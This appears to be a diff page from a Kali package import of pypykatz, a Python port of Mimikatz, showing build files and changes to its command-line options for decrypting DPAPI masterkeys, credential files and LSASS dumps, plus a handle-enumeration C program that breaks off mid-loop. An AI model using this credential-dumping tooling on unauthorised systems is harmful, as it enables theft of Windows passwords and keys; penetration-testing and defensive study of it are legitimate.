Import upstream version 0.3.15+git20210123.3ae000c
Kali Janitor
3 years ago
0 | # Byte-compiled / optimized / DLL files | |
1 | __pycache__/ | |
2 | *.py[cod] | |
3 | *$py.class | |
4 | ||
5 | # C extensions | |
6 | *.so | |
7 | ||
8 | # Distribution / packaging | |
9 | .Python | |
10 | build/ | |
11 | develop-eggs/ | |
12 | dist/ | |
13 | downloads/ | |
14 | eggs/ | |
15 | .eggs/ | |
16 | lib/ | |
17 | lib64/ | |
18 | parts/ | |
19 | sdist/ | |
20 | var/ | |
21 | wheels/ | |
22 | *.egg-info/ | |
23 | .installed.cfg | |
24 | *.egg | |
25 | MANIFEST | |
26 | ||
27 | # PyInstaller | |
28 | # Usually these files are written by a python script from a template | |
29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. | |
30 | *.manifest | |
31 | *.spec | |
32 | ||
33 | # Installer logs | |
34 | pip-log.txt | |
35 | pip-delete-this-directory.txt | |
36 | ||
37 | # Unit test / coverage reports | |
38 | htmlcov/ | |
39 | .tox/ | |
40 | .coverage | |
41 | .coverage.* | |
42 | .cache | |
43 | nosetests.xml | |
44 | coverage.xml | |
45 | *.cover | |
46 | .hypothesis/ | |
47 | .pytest_cache/ | |
48 | ||
49 | # Translations | |
50 | *.mo | |
51 | *.pot | |
52 | ||
53 | # Django stuff: | |
54 | *.log | |
55 | local_settings.py | |
56 | db.sqlite3 | |
57 | ||
58 | # Flask stuff: | |
59 | instance/ | |
60 | .webassets-cache | |
61 | ||
62 | # Scrapy stuff: | |
63 | .scrapy | |
64 | ||
65 | # Sphinx documentation | |
66 | docs/_build/ | |
67 | ||
68 | # PyBuilder | |
69 | target/ | |
70 | ||
71 | # Jupyter Notebook | |
72 | .ipynb_checkpoints | |
73 | ||
74 | # pyenv | |
75 | .python-version | |
76 | ||
77 | # celery beat schedule file | |
78 | celerybeat-schedule | |
79 | ||
80 | # SageMath parsed files | |
81 | *.sage.py | |
82 | ||
83 | # Environments | |
84 | .env | |
85 | .venv | |
86 | env/ | |
87 | venv/ | |
88 | ENV/ | |
89 | env.bak/ | |
90 | venv.bak/ | |
91 | ||
92 | # Spyder project settings | |
93 | .spyderproject | |
94 | .spyproject | |
95 | ||
96 | # Rope project settings | |
97 | .ropeproject | |
98 | ||
99 | # mkdocs documentation | |
100 | /site | |
101 | ||
102 | # mypy | |
103 | .mypy_cache/ | |
104 | *.reg | |
105 | *.kirbi⏎ |
0 | MIT License | |
1 | ||
2 | Copyright (c) 2018 | |
3 | ||
4 | Permission is hereby granted, free of charge, to any person obtaining a copy | |
5 | of this software and associated documentation files (the "Software"), to deal | |
6 | in the Software without restriction, including without limitation the rights | |
7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
8 | copies of the Software, and to permit persons to whom the Software is | |
9 | furnished to do so, subject to the following conditions: | |
10 | ||
11 | The above copyright notice and this permission notice shall be included in all | |
12 | copies or substantial portions of the Software. | |
13 | ||
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
20 | SOFTWARE. |
0 | include LICENSE README.md |
0 | clean: | |
1 | rm -f -r build/ | |
2 | rm -f -r dist/ | |
3 | rm -f -r *.egg-info | |
4 | find . -name '*.pyc' -exec rm -f {} + | |
5 | find . -name '*.pyo' -exec rm -f {} + | |
6 | find . -name '*~' -exec rm -f {} + | |
7 | ||
8 | publish: clean | |
9 | python3 setup.py sdist bdist_wheel | |
10 | python3 -m twine upload dist/* | |
11 | ||
12 | rebuild: clean | |
13 | python3 setup.py install | |
14 | ||
15 | build: | |
16 | python3 setup.py install⏎ |
0 | Metadata-Version: 1.2 | |
1 | Name: pypykatz | |
2 | Version: 0.3.7 | |
3 | Summary: Python implementation of Mimikatz | |
4 | Home-page: https://github.com/skelsec/pypykatz | |
5 | Author: Tamas Jos | |
6 | Author-email: [email protected] | |
7 | License: UNKNOWN | |
8 | Description: UNKNOWN | |
9 | Platform: UNKNOWN | |
10 | Classifier: Programming Language :: Python :: 3.6 | |
11 | Classifier: License :: OSI Approved :: MIT License | |
12 | Classifier: Operating System :: OS Independent | |
13 | Requires-Python: >=3.6 |
17 | 17 | ### Via Github |
18 | 18 | Install prerequirements |
19 | 19 | ``` |
20 | pip3 install minidump minikerberos aiowinreg msldap winsspi | |
20 | pip3 install minidump minikerberos aiowinreg msldap winacl | |
21 | 21 | ``` |
22 | 22 | Clone this repo |
23 | 23 | ``` |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import io | |
7 | 6 | import os |
8 | import re | |
9 | import struct | |
10 | 7 | import logging |
11 | import traceback | |
12 | import json | |
13 | import ntpath | |
14 | ||
15 | ||
16 | from pypykatz.registry.offline_parser import OffineRegistry | |
17 | from pypykatz.commons.common import UniversalEncoder, hexdump | |
18 | 8 | |
19 | 9 | def main(): |
20 | 10 | import argparse |
21 | 11 | import glob |
22 | 12 | |
23 | 13 | from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper |
24 | #from pypykatz.ldap.cmdhelper import LDAPCMDHelper | |
14 | from pypykatz.ldap.cmdhelper import LDAPCMDHelper | |
25 | 15 | from pypykatz.kerberos.cmdhelper import KerberosCMDHelper |
26 | 16 | from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper |
27 | 17 | from pypykatz.registry.cmdhelper import RegistryCMDHelper |
28 | 18 | from pypykatz.remote.cmdhelper import RemoteCMDHelper |
19 | from pypykatz.dpapi.cmdhelper import DPAPICMDHelper | |
29 | 20 | |
30 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] #LDAPCMDHelper(), | |
21 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()] | |
31 | 22 | |
23 | try: | |
24 | from pypykatz.smb.cmdhelper import SMBCMDHelper | |
25 | cmdhelpers.append(SMBCMDHelper()) | |
26 | except: | |
27 | pass | |
32 | 28 | |
33 | 29 | parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') |
34 | 30 | parser.add_argument('-v', '--verbose', action='count', default=0) |
59 | 55 | live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') |
60 | 56 | live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') |
61 | 57 | live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) |
62 | ||
63 | live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands') | |
64 | live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry') | |
65 | live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file') | |
66 | live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file') | |
67 | live_subparser_dpapi_group.add_argument('--cred', help= 'credential file') | |
68 | live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file') | |
69 | 58 | |
70 | dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands') | |
71 | dpapi_subparsers = dpapi_group.add_subparsers() | |
72 | dpapi_subparsers.required = True | |
73 | dpapi_subparsers.dest = 'dapi_module' | |
74 | ||
75 | dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID') | |
76 | dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse') | |
77 | dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
78 | dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file') | |
79 | dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file') | |
80 | dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file') | |
81 | dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.') | |
82 | dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID') | |
83 | dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!') | |
84 | ||
85 | dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file') | |
86 | dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') | |
87 | ||
88 | dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') | |
89 | dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file') | |
90 | dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format') | |
91 | dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates') | |
92 | dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
93 | ||
94 | ||
95 | dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') | |
96 | dpapi_credential_group.add_argument('cred', help='path to credential file') | |
97 | dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') | |
98 | dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') | |
99 | ||
100 | dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') | |
101 | dpapi_vcred_group.add_argument('vcred', help='path to vcred file') | |
102 | dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') | |
103 | ||
104 | dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') | |
105 | dpapi_vpol_group.add_argument('vpol', help='path to vpol file') | |
106 | dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') | |
107 | dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') | |
108 | ||
109 | sake_group = subparsers.add_parser('sake', help='sake') | |
110 | 59 | version_group = subparsers.add_parser('version', help='version') |
111 | 60 | banner_group = subparsers.add_parser('banner', help='banner') |
61 | logo_group = subparsers.add_parser('logo', help='logo') | |
112 | 62 | |
113 | 63 | ####### PARSING ARGUMENTS |
114 | 64 | |
178 | 128 | lm = LiveMachine() |
179 | 129 | user = lm.get_current_user() |
180 | 130 | print(str(user)) |
181 | ||
182 | elif args.module == 'dpapi': | |
183 | from pypykatz.dpapi.dpapi import DPAPI | |
184 | ||
185 | dpapi = DPAPI() | |
186 | #####pre-key section | |
187 | if args.method_registry == True: | |
188 | dpapi.get_prekeys_form_registry_live() | |
189 | ||
190 | if not args.mkf: | |
191 | raise Exception('Live registry method requires masterkeyfile to be set!') | |
192 | ||
193 | dpapi.decrypt_masterkey_file(args.mkf) | |
194 | ||
195 | else: | |
196 | dpapi.get_masterkeys_from_lsass_live() | |
197 | ||
198 | #decryption stuff | |
199 | if args.vcred: | |
200 | if args.vpol is None: | |
201 | raise Exception('for VCRED decryption you must suppliy VPOL file') | |
202 | dpapi.decrypt_vpol_file(args.vpol) | |
203 | res = dpapi.decrypt_vcrd_file(args.vcred) | |
204 | for attr in res: | |
205 | for i in range(len(res[attr])): | |
206 | if res[attr][i] is not None: | |
207 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
208 | print(hexdump(res[attr][i])) | |
209 | ||
210 | elif args.vpol: | |
211 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol) | |
212 | print('VPOL key1: %s' % key1.hex()) | |
213 | print('VPOL key2: %s' % key2.hex()) | |
214 | ||
215 | elif args.cred: | |
216 | cred_blob = dpapi.decrypt_credential_file(args.cred) | |
217 | print(cred_blob.to_text()) | |
218 | ||
219 | else: | |
220 | #just printing masterkeys | |
221 | for guid in dpapi.masterkeys: | |
222 | print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) | |
223 | ||
224 | if len(dpapi.masterkeys) == 0: | |
225 | print('Failed to decrypt masterkey') | |
226 | ||
227 | ||
228 | ###### DPAPI offline | |
229 | elif args.command == 'dpapi': | |
230 | from pypykatz.dpapi.dpapi import DPAPI | |
231 | ||
232 | dpapi = DPAPI() | |
233 | ||
234 | if args.dapi_module == 'prekey': | |
235 | if args.keysource == 'registry': | |
236 | if args.system is None: | |
237 | raise Exception('SYSTEM hive must be specified for registry parsing!') | |
238 | if args.sam is None and args.security is None: | |
239 | raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') | |
240 | ||
241 | dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) | |
242 | ||
243 | elif args.keysource == 'password': | |
244 | if args.sid is None: | |
245 | raise Exception('SID must be specified for generating prekey in this mode') | |
246 | ||
247 | pw = args.password | |
248 | if args.password is None: | |
249 | import getpass | |
250 | pw = getpass.getpass() | |
251 | ||
252 | dpapi.get_prekeys_from_password(args.sid, password = pw) | |
253 | ||
254 | elif args.keysource == 'nt': | |
255 | if args.nt is None or args.sid is None: | |
256 | raise Exception('NT hash and SID must be specified for generating prekey in this mode') | |
257 | ||
258 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) | |
259 | ||
260 | ||
261 | dpapi.dump_pre_keys(args.out_file) | |
262 | ||
263 | ||
264 | elif args.dapi_module == 'minidump': | |
265 | if args.minidumpfile is None: | |
266 | raise Exception('minidump file must be specified for mindiump parsing!') | |
267 | ||
268 | dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) | |
269 | dpapi.dump_masterkeys(args.out_file) | |
270 | ||
271 | ||
272 | elif args.dapi_module == 'masterkey': | |
273 | if args.key is None and args.prekey is None: | |
274 | raise Exception('Etieher KEY or path to prekey file must be supplied!') | |
275 | ||
276 | if args.prekey: | |
277 | dpapi.load_pre_keys(args.prekey) | |
278 | dpapi.decrypt_masterkey_file(args.mkf) | |
279 | ||
280 | if args.key: | |
281 | dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) | |
282 | ||
283 | if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: | |
284 | print('Failed to decrypt the masterkeyfile!') | |
285 | return | |
286 | ||
287 | dpapi.dump_masterkeys(args.out_file) | |
288 | ||
289 | elif args.dapi_module == 'credential': | |
290 | if args.masterkey is None and args.mkb_file is None: | |
291 | raise Exception('Either masterkey or pre-generated MKB file must be specified') | |
292 | ||
293 | if args.mkb_file is not None: | |
294 | dpapi.load_masterkeys(args.mkb_file) | |
295 | cred_blob = dpapi.decrypt_credential_file(args.cred) | |
296 | else: | |
297 | cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey) | |
298 | ||
299 | print(cred_blob.to_text()) | |
300 | ||
301 | elif args.dapi_module == 'vpol': | |
302 | if args.masterkey is None and args.mkb_file is None: | |
303 | raise Exception('Either masterkey or pre-generated MKB file must be specified') | |
304 | ||
305 | if args.mkb_file is not None: | |
306 | dpapi.load_masterkeys(args.mkb_file) | |
307 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol) | |
308 | else: | |
309 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey) | |
310 | ||
311 | ||
312 | print('VPOL key1: %s' % key1.hex()) | |
313 | print('VPOL key2: %s' % key2.hex()) | |
314 | ||
315 | ||
316 | elif args.dapi_module == 'vcred': | |
317 | if args.vpolkey is None: | |
318 | raise Exception('VPOL key bust be specified!') | |
319 | ||
320 | res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey) | |
321 | for attr in res: | |
322 | for i in range(len(res[attr])): | |
323 | if res[attr][i] is not None: | |
324 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
325 | print(hexdump(res[attr][i])) | |
326 | ||
327 | ###### Sake | |
328 | elif args.command == 'sake': | |
329 | from pypykatz.utils.sake.sake import Sake | |
330 | s = Sake() | |
331 | print(s.draw()) | |
332 | 131 | |
333 | 132 | elif args.command == 'version': |
334 | 133 | from pypykatz._version import __version__ |
337 | 136 | elif args.command == 'banner': |
338 | 137 | from pypykatz._version import __banner__ |
339 | 138 | print(__banner__) |
139 | ||
140 | elif args.command == 'logo': | |
141 | from pypykatz._version import __logo__, __logo_color__ | |
142 | print(__logo_color__) | |
143 | print(__logo__) | |
340 | 144 | |
341 | 145 | |
342 | 146 |
0 | 0 | |
1 | __version__ = "0.3.7" | |
1 | __version__ = "0.4.0" | |
2 | 2 | __banner__ = \ |
3 | 3 | """ |
4 | 4 | # pypyKatz %s |
5 | 5 | # Author: Tamas Jos @skelsec |
6 | 6 | # License: MIT |
7 | """ % __version__⏎ | |
7 | """ % __version__ | |
8 | ||
9 | __logo__ = \ | |
10 | """ | |
11 | &. | |
12 | @@@@@ | |
13 | ///////\\ @@@@@@@ | |
14 | ////////////. @@@@@@@@@@ | |
15 | ///(( /////\. @/@@@@@@@@@ | |
16 | //(( ///// @@@@@@@@@@@@@ | |
17 | //((( / " @@@@@@@@@ | |
18 | \(((( @@@@@@@@@@@@@ | |
19 | \\((((((.@@@@@@@@@@@@@@@@ | |
20 | ------ P Y P Y K A T Z ------ | |
21 | """ | |
22 | ||
23 | __logo_color__ = \ | |
24 | """ | |
25 | \x1b[38;5;240m &. \x1b[0m | |
26 | \x1b[38;5;240m @@@@@ \x1b[0m | |
27 | \x1b[38;5;118m ///////\\\\ \x1b[38;5;240m @@@@@@@ \x1b[0m | |
28 | \x1b[38;5;118m ////////////. \x1b[38;5;240m @@@@@@@@@@ \x1b[0m | |
29 | \x1b[38;5;118m///\x1b[38;5;106m(( \x1b[38;5;118m/////\x1b[38;5;240m\\\x1b[38;5;118m. \x1b[38;5;240m @\x1b[38;5;118m/\x1b[38;5;240m@@@@@@@@@ \x1b[0m | |
30 | \x1b[38;5;118m//\x1b[38;5;106m((\x1b[38;5;118m ///// \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m | |
31 | \x1b[38;5;118m//\x1b[38;5;106m((( \x1b[38;5;15m/ " \x1b[38;5;240m@@@@@@@@@\x1b[0m | |
32 | \x1b[38;5;118m \\\x1b[38;5;106m(((( \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m | |
33 | \x1b[38;5;118m \\\\\x1b[38;5;106m((((((\x1b[38;5;240m.@@@@@@@@@@@@@@@@ \x1b[0m | |
34 | ------ \x1b[38;5;196mP Y P Y K A T Z\x1b[0m ------ | |
35 | """⏎ |
Binary diff not shown
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import traceback | |
5 | 6 | import enum |
6 | 7 | import json |
7 | 8 | import datetime |
8 | 9 | from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE |
10 | ||
11 | def geterr(err:Exception): | |
12 | t = str(err) + '\r\n' | |
13 | for line in traceback.format_tb(err.__traceback__): | |
14 | t += line | |
15 | return t | |
9 | 16 | |
10 | 17 | class KatzSystemArchitecture(enum.Enum): |
11 | 18 | X86 = enum.auto() |
700 | 700 | _fields_ = [ |
701 | 701 | ("Length", USHORT), |
702 | 702 | ("MaximumLength", USHORT), |
703 | ("Buffer", PVOID), | |
703 | ("Buffer", PWSTR), | |
704 | 704 | ] |
705 | 705 | |
706 | 706 | # From MSDN: |
608 | 608 | ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), |
609 | 609 | ] |
610 | 610 | LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW) |
611 | ||
612 | ||
613 | class SYSTEM_PROCESS_ID_INFORMATION(Structure): | |
614 | _fields_ = (('ProcessId', HANDLE), | |
615 | ('ImageName', UNICODE_STRING), | |
616 | ) | |
617 | ||
618 | class SYSTEM_INFORMATION_CLASS(ctypes.c_ulong): | |
619 | def __repr__(self): | |
620 | return '%s(%s)' % (type(self).__name__, self.value) | |
621 | ||
622 | ||
623 | ProcessBasicInformation = SYSTEM_INFORMATION_CLASS(0) | |
624 | ProcessProtectionInformation = SYSTEM_INFORMATION_CLASS(61) | |
625 | SystemExtendedHandleInformation = SYSTEM_INFORMATION_CLASS(64) | |
626 | SystemProcessIdInformation = SYSTEM_INFORMATION_CLASS(88) | |
627 | ||
628 | class PROCESS_BASIC_INFORMATION(Structure): | |
629 | _fields_ = (('Reserved1', PVOID), | |
630 | ('PebBaseAddress', PVOID), | |
631 | ('Reserved2', PVOID * 2), | |
632 | ('UniqueProcessId', ULONG_PTR), | |
633 | ('Reserved3', PVOID)) | |
634 | ||
635 | class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1(Structure): | |
636 | _fields_ = (('IsProtectedProcess', ULONG, 1), | |
637 | ('IsWow64Process', ULONG, 1), | |
638 | ('IsProcessDeleting', ULONG, 1), | |
639 | ('IsCrossSessionCreate', ULONG, 1), | |
640 | ('IsFrozen', ULONG, 1), | |
641 | ('IsBackground', ULONG, 1), | |
642 | ('IsStronglyNamed', ULONG, 1), | |
643 | ('IsSecureProcess', ULONG, 1), | |
644 | ('IsSubsystemProcess', ULONG, 1), | |
645 | ('SpareBits', ULONG,23)) | |
646 | ||
647 | class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION(Union): | |
648 | _anonymous_ = ('obj',) | |
649 | _fields_ = (('Flags', ULONG), | |
650 | ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1)) | |
651 | ||
652 | ||
653 | class PROCESS_EXTENDED_BASIC_INFORMATION(Structure): | |
654 | _anonymous_ = ('obj',) | |
655 | _fields_ = (('Size', SIZE_T), | |
656 | ('BasicInfo', PROCESS_BASIC_INFORMATION), | |
657 | ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION)) | |
658 | ||
659 | ||
660 | class UNION_PS_PROTECTION(Structure): | |
661 | _fields_ = (('Type', UCHAR, 3), | |
662 | ('Audit', BOOLEAN, 1), | |
663 | ('Signer', UCHAR, 4), | |
664 | ) | |
665 | ||
666 | class PS_PROTECTION(Union): | |
667 | _anonymous_ = ('obj',) | |
668 | _fields_ = (('Level', UCHAR), | |
669 | ('obj', UNION_PS_PROTECTION), | |
670 | ) |
0 | ||
1 | // https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/ | |
2 | #ifndef UNICODE | |
3 | #define UNICODE | |
4 | #endif | |
5 | ||
6 | #include <windows.h> | |
7 | #include <stdio.h> | |
8 | ||
9 | #define NT_SUCCESS(x) ((x) >= 0) | |
10 | #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 | |
11 | ||
12 | #define SystemHandleInformation 16 | |
13 | #define ObjectBasicInformation 0 | |
14 | #define ObjectNameInformation 1 | |
15 | #define ObjectTypeInformation 2 | |
16 | ||
17 | typedef NTSTATUS (NTAPI *_NtQuerySystemInformation)( | |
18 | ULONG SystemInformationClass, | |
19 | PVOID SystemInformation, | |
20 | ULONG SystemInformationLength, | |
21 | PULONG ReturnLength | |
22 | ); | |
23 | typedef NTSTATUS (NTAPI *_NtDuplicateObject)( | |
24 | HANDLE SourceProcessHandle, | |
25 | HANDLE SourceHandle, | |
26 | HANDLE TargetProcessHandle, | |
27 | PHANDLE TargetHandle, | |
28 | ACCESS_MASK DesiredAccess, | |
29 | ULONG Attributes, | |
30 | ULONG Options | |
31 | ); | |
32 | typedef NTSTATUS (NTAPI *_NtQueryObject)( | |
33 | HANDLE ObjectHandle, | |
34 | ULONG ObjectInformationClass, | |
35 | PVOID ObjectInformation, | |
36 | ULONG ObjectInformationLength, | |
37 | PULONG ReturnLength | |
38 | ); | |
39 | ||
40 | typedef struct _UNICODE_STRING { | |
41 | USHORT Length; | |
42 | USHORT MaximumLength; | |
43 | PWSTR Buffer; | |
44 | } UNICODE_STRING, *PUNICODE_STRING; | |
45 | ||
46 | typedef struct _SYSTEM_HANDLE { | |
47 | ULONG ProcessId; | |
48 | BYTE ObjectTypeNumber; | |
49 | BYTE Flags; | |
50 | USHORT Handle; | |
51 | PVOID Object; | |
52 | ACCESS_MASK GrantedAccess; | |
53 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE; | |
54 | ||
55 | typedef struct _SYSTEM_HANDLE_INFORMATION { | |
56 | ULONG HandleCount; | |
57 | SYSTEM_HANDLE Handles[1]; | |
58 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; | |
59 | ||
60 | typedef enum _POOL_TYPE { | |
61 | NonPagedPool, | |
62 | PagedPool, | |
63 | NonPagedPoolMustSucceed, | |
64 | DontUseThisType, | |
65 | NonPagedPoolCacheAligned, | |
66 | PagedPoolCacheAligned, | |
67 | NonPagedPoolCacheAlignedMustS | |
68 | } POOL_TYPE, *PPOOL_TYPE; | |
69 | ||
70 | typedef struct _OBJECT_TYPE_INFORMATION { | |
71 | UNICODE_STRING Name; | |
72 | ULONG TotalNumberOfObjects; | |
73 | ULONG TotalNumberOfHandles; | |
74 | ULONG TotalPagedPoolUsage; | |
75 | ULONG TotalNonPagedPoolUsage; | |
76 | ULONG TotalNamePoolUsage; | |
77 | ULONG TotalHandleTableUsage; | |
78 | ULONG HighWaterNumberOfObjects; | |
79 | ULONG HighWaterNumberOfHandles; | |
80 | ULONG HighWaterPagedPoolUsage; | |
81 | ULONG HighWaterNonPagedPoolUsage; | |
82 | ULONG HighWaterNamePoolUsage; | |
83 | ULONG HighWaterHandleTableUsage; | |
84 | ULONG InvalidAttributes; | |
85 | GENERIC_MAPPING GenericMapping; | |
86 | ULONG ValidAccess; | |
87 | BOOLEAN SecurityRequired; | |
88 | BOOLEAN MaintainHandleCount; | |
89 | USHORT MaintainTypeList; | |
90 | POOL_TYPE PoolType; | |
91 | ULONG PagedPoolUsage; | |
92 | ULONG NonPagedPoolUsage; | |
93 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; | |
94 | ||
95 | PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName) { | |
96 | return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); | |
97 | } | |
98 | ||
99 | void ErrorExit(LPTSTR lpszFunction) { | |
100 | // Retrieve the system error message for the last-error code | |
101 | ||
102 | LPVOID lpMsgBuf; | |
103 | LPVOID lpDisplayBuf; | |
104 | DWORD dw = GetLastError(); | |
105 | ||
106 | FormatMessage( | |
107 | FORMAT_MESSAGE_ALLOCATE_BUFFER | | |
108 | FORMAT_MESSAGE_FROM_SYSTEM | | |
109 | FORMAT_MESSAGE_IGNORE_INSERTS, | |
110 | NULL, | |
111 | dw, | |
112 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), | |
113 | (LPTSTR) &lpMsgBuf, | |
114 | 0, NULL ); | |
115 | ||
116 | printf((LPTSTR) lpMsgBuf); | |
117 | ||
118 | LocalFree(lpMsgBuf); | |
119 | LocalFree(lpDisplayBuf); | |
120 | ExitProcess(dw); | |
121 | } | |
122 | ||
123 | void ShowErr() { | |
124 | CHAR errormsg[100]; | |
125 | FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errormsg, sizeof(errormsg), NULL); | |
126 | printf("ERROR: %s", errormsg); | |
127 | } | |
128 | ||
129 | int wmain(int argc, WCHAR *argv[]) { | |
130 | ||
131 | _NtQuerySystemInformation NtQuerySystemInformation = GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); | |
132 | _NtDuplicateObject NtDuplicateObject = GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); | |
133 | _NtQueryObject NtQueryObject = GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); | |
134 | ||
135 | NTSTATUS status; | |
136 | PSYSTEM_HANDLE_INFORMATION handleInfo; | |
137 | ULONG handleInfoSize = 0x10000; | |
138 | ULONG pid; | |
139 | HANDLE processHandle; | |
140 | ULONG i; | |
141 | ||
142 | if (argc < 2) { | |
143 | printf("Usage: handles [pid]\n"); | |
144 | return 1; | |
145 | } | |
146 | ||
147 | pid = _wtoi(argv[1]); | |
148 | ||
149 | if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid))) { | |
150 | printf("Could not open PID %d! (Don't try to open a system process.)\n", pid); | |
151 | return 1; | |
152 | } | |
153 | ||
154 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); | |
155 | ||
156 | // NtQuerySystemInformation won't give us the correct buffer size, | |
157 | // so we guess by doubling the buffer size. | |
158 | while ((status = NtQuerySystemInformation( | |
159 | SystemHandleInformation, | |
160 | handleInfo, | |
161 | handleInfoSize, | |
162 | NULL | |
163 | )) == STATUS_INFO_LENGTH_MISMATCH) | |
164 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); | |
165 | ||
166 | // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH. | |
167 | if (!NT_SUCCESS(status)) { | |
168 | printf("NtQuerySystemInformation failed!\n"); | |
169 | return 1; | |
170 | } | |
171 | ||
172 | for (i = 0; i < handleInfo->HandleCount; i++) { | |
173 | SYSTEM_HANDLE handle = handleInfo->Handles[i]; | |
